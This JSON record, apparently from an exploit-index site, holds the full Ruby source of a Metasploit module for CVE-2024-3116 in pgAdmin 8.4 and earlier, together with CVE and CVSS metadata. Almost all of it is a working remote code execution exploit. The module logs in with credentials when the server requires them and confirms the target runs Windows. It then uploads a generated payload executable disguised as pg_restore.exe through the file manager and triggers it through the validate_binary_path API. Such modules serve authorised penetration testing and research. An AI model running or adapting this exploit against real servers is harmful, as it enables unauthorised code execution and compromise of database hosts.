{"exploit":{"id":"MSF-windows--http--pgadmin_binary_path_api","name":"pgAdmin Binary Path API RCE","description":"pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) vulnerability through the validate binary path API. This vulnerability allows attackers to execute arbitrary code on the server hosting PGAdmin, posing a severe risk to the database management system's integrity and the security of the underlying data. Tested on pgAdmin 8.4 on Windows 10 both authenticated and unauthenticated.","cves":["CVE-2024-3116"],"author":"M.Selim Karahan, Mustafa Mutlu, Ayoub Mokhtar","published":"2024-03-28","platform":"Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/windows/http/pgadmin_binary_path_api.rb","path":"modules/exploits/windows/http/pgadmin_binary_path_api.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"pgadmin_binary_path_api.rb","vulnerabilities":[{"id":"CVE-2024-3116","state":"PUBLISHED","title":"Remote Code Execution Vulnerability through the validate binary path API in pgAdmin 4","titleSource":"CVE Program","description":"pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) vulnerability through the validate binary path API. This vulnerability allows attackers to execute arbitrary code on the server hosting PGAdmin, posing a severe risk to the database management system's integrity and the security of the underlying data.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2024-3116","cvss":{"version":"3.1","baseScore":7.4,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","source":"PostgreSQL","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-3116"},"updatedAt":"2025-03-14T16:35:25.051Z","retrievedAt":"2026-11-25T18:22:31.277Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--http--pgadmin_binary_path_api.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--http--pgadmin_binary_path_api","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--http--pgadmin_binary_path_api/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--http--pgadmin_binary_path_api/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  prepend Msf::Exploit::Remote::AutoCheck\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::FileDropper\n  include Msf::Exploit::EXE\n  include Msf::Exploit::PgAdmin\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'pgAdmin Binary Path API RCE',\n        'Description' => %q{\n          pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE)\n          vulnerability through the validate binary path API. This vulnerability\n          allows attackers to execute arbitrary code on the server hosting PGAdmin,\n          posing a severe risk to the database management system's integrity and the security of the underlying data.\n\n          Tested on pgAdmin 8.4 on Windows 10 both authenticated and unauthenticated.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'M.Selim Karahan', # metasploit module\n          'Mustafa Mutlu', # lab prep. and QA\n          'Ayoub Mokhtar' # vulnerability discovery and write up\n        ],\n        'References' => [\n          [ 'CVE', '2024-3116'],\n          [ 'URL', 'https://ayoubmokhtar.com/post/remote_code_execution_pgadmin_8.4-cve-2024-3116/'],\n          [ 'URL', 'https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-pgadmin-cve-2024-3116']\n        ],\n        'Platform' => ['windows'],\n        'Arch' => ARCH_X64,\n        'Targets' => [\n          [ 'Automatic Target', {}]\n        ],\n        'DisclosureDate' => '2024-03-28',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE, ],\n          'Reliability' => [ REPEATABLE_SESSION, ],\n          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]\n        }\n      )\n    )\n    register_options(\n      [\n        Opt::RPORT(8000),\n        OptString.new('USERNAME', [ false, 'User to login with', '']),\n        OptString.new('PASSWORD', [ false, 'Password to login with', '']),\n        OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/'])\n      ]\n    )\n  end\n\n  def check\n    check_version('8.5')\n  end\n\n  def on_windows?\n    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true)\n    if res&.code == 200\n      platform = res.body.scan(/pgAdmin\\['platform'\\]\\s*=\\s*'([^']+)';/)&.flatten&.first\n      return platform == 'win32'\n    end\n  end\n\n  def exploit\n    if auth_required? && !(datastore['USERNAME'].present? && datastore['PASSWORD'].present?)\n      fail_with(Failure::BadConfig, 'The application requires authentication, please provide valid credentials')\n    end\n\n    if auth_required?\n      res = send_request_cgi({\n        'uri' => normalize_uri(target_uri.path, 'authenticate/login'),\n        'method' => 'POST',\n        'keep_cookies' => true,\n        'vars_post' => {\n          'csrf_token' => csrf_token,\n          'email' => datastore['USERNAME'],\n          'password' => datastore['PASSWORD'],\n          'language' => 'en',\n          'internal_button' => 'Login'\n        }\n      })\n\n      unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')\n        fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')\n      end\n\n      print_status('Successfully authenticated to pgAdmin')\n    end\n\n    unless on_windows?\n      fail_with(Failure::BadConfig, 'This exploit is specific to Windows targets!')\n    end\n    file_name = 'pg_restore.exe'\n    file_manager_upload_and_trigger(file_name, generate_payload_exe)\n  rescue ::Rex::ConnectionError\n    fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n  end\n\n  # file manager code is copied from pgadmin_session_deserialization module\n\n  def file_manager_init\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, 'file_manager/init'),\n      'method' => 'POST',\n      'keep_cookies' => true,\n      'ctype' => 'application/json',\n      'headers' => { 'X-pgA-CSRFToken' => csrf_token },\n      'data' => {\n        'dialog_type' => 'storage_dialog',\n        'supported_types' => ['sql', 'csv', 'json', '*'],\n        'dialog_title' => 'Storage Manager'\n      }.to_json\n    })\n\n    unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId')) && (home_folder = res.get_json_document.dig('data', 'options', 'homedir'))\n      fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction Id or home folder')\n    end\n\n    return trans_id, home_folder\n  end\n\n  def file_manager_upload_and_trigger(file_path, file_contents)\n    trans_id, home_folder = file_manager_init\n\n    form = Rex::MIME::Message.new\n    form.add_part(\n      file_contents,\n      'application/octet-stream',\n      'binary',\n      \"form-data; name=\\\"newfile\\\"; filename=\\\"#{file_path}\\\"\"\n    )\n    form.add_part('add', nil, nil, 'form-data; name=\"mode\"')\n    form.add_part(home_folder, nil, nil, 'form-data; name=\"currentpath\"')\n    form.add_part('my_storage', nil, nil, 'form-data; name=\"storage_folder\"')\n\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, \"/file_manager/filemanager/#{trans_id}/\"),\n      'method' => 'POST',\n      'keep_cookies' => true,\n      'ctype' => \"multipart/form-data; boundary=#{form.bound}\",\n      'headers' => { 'X-pgA-CSRFToken' => csrf_token },\n      'data' => form.to_s\n    })\n    unless res&.code == 200 && res.get_json_document['success'] == 1\n      fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')\n    end\n\n    upload_path = res.get_json_document.dig('data', 'result', 'Name')\n    register_file_for_cleanup(upload_path)\n    print_status(\"Payload uploaded to: #{upload_path}\")\n\n    send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, '/misc/validate_binary_path'),\n      'method' => 'POST',\n      'keep_cookies' => true,\n      'ctype' => 'application/json',\n      'headers' => { 'X-pgA-CSRFToken' => csrf_token },\n      'data' => {\n        'utility_path' => upload_path[0..upload_path.size - 16]\n      }.to_json\n    })\n\n    true\n  end\n\nend\n","sha256":"2df945a71563ec82482133d9f8c08c15efaab87ebe84d727f7915f579a009cc5","bytes":6241,"fetchedAt":"2026-11-26T11:44:38.822Z","encoding":"utf-8 (display only; download retains original bytes)"}